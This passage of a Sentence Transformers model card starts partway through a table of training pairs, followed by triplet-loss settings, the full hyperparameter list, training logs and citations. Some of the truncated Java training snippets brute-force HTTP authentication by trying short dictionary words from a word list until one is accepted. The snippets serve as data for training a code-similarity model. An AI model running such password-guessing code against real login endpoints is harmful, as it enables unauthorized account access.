URL location;<br>  private static String user;<br>  private BufferedReader input;<br>  private static BufferedReader dictionary;<br>  private int maxLetters = 3;<br><br>  <br><br>    public Dictionary() {<br>      <br>      Authenticator.setDefault(new MyAuthenticator ());<br><br>       startTime = System.currentTimeMillis();<br>      boolean passwordMatched = false;<br>      while (!passwordMatched) {<br>        try {<br>          input = new BufferedReader(new InputStreamReader(location.openStream()));<br>          String line = input.readLine();<br>          while (line != null) {<br>            System.out.println(line);<br>            line = input.readLine();<br>          }<br>          input.close();<br>          passwordMatched = true;<br>        }<br>        catch (ProtocolException e)<br>        {<br>          <br>          <br>        }<br>        catch (ConnectException e) {<br>          System.out.println("Failed  connect");<br>        }<br>        catch (IOException e) ...</code>                                                                                                                                                                   | <code>0</code> |
  | <code><br>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br>public class ScheduleTask extends Thread<br>{<br><br>    private int flag=0,count1=0,count2=0;<br>    private Vector change;<br>    public ScheduleTask(Vector init)<br>     {<br>       try<br>       {<br><br>          Runtime run = Runtime.getRuntime();<br>          String command_line = "lynx http://yallara.cs.rmit.edu./~/index.html -dump";<br>          Process result = run.exec(command_line);<br>          BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));<br>          String inputLine;<br>          Vector newVector = new Vector();<br>          change = new Vector();<br>          while ((inputLine = in.readLine()) != null)<br>          {<br>             newVector.addElement(inputLine);<br>          }<br>          if(init.size()>newVector.size())<br>             {<br>                for(int k=0;k<newVector.size();k++)<br>                   {<br>                     if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))<br>                        ch...</code>                                          | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br>	public static void main (String args[])<br>	{<br>		<br>		<br>        Calendar cal = Calendar.getInstance();<br>        Date now=cal.getTime();<br>        double startTime = now.getTime();<br><br>		String password=getPassword(startTime);<br>		System.out.println("The password is " + password);<br>	}<br><br>	public static String getPassword(double startTime)<br>	{<br>		String password="";<br>		int requests=0;<br><br>		try<br>		{<br>			<br>			FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br>			BufferedReader buf = new BufferedReader(fRead);<br><br>			password=buf.readLine();<br><br>			while (password != null)<br>			{<br>				<br>				if (password.length()<=3)<br>				{<br>					requests++;<br>					if (testPassword(password, startTime, requests))<br>						return password;<br>				}<br><br>				password = buf.readLine();<br><br>			}<br>		}<br>		catch (IOException ioe)<br>		{<br><br>		}<br><br>		return password;<br>	}<br><br>	private static boolean testPassword(String password, double startTime, int requests)<br>	{<br>		try<br>		{<br>			<br>			<br>			U...</code>                                                                                                          | <code>0</code> |
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)

### Training Hyperparameters
#### Non-Default Hyperparameters

- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `multi_dataset_batch_sampler`: round_robin

#### All Hyperparameters
<details><summary>Click to expand</summary>

- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.0
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: False
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`: 
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: batch_sampler
- `multi_dataset_batch_sampler`: round_robin

</details>

### Training Logs
| Epoch  | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.2393 | 500  | 0.1875        |
| 0.4787 | 1000 | 0.1815        |
| 0.7180 | 1500 | 0.24          |
| 0.9574 | 2000 | 0.1596        |


### Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1

## Citation

### BibTeX

#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}
```

#### BatchAllTripletLoss
```bibtex
@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}
```

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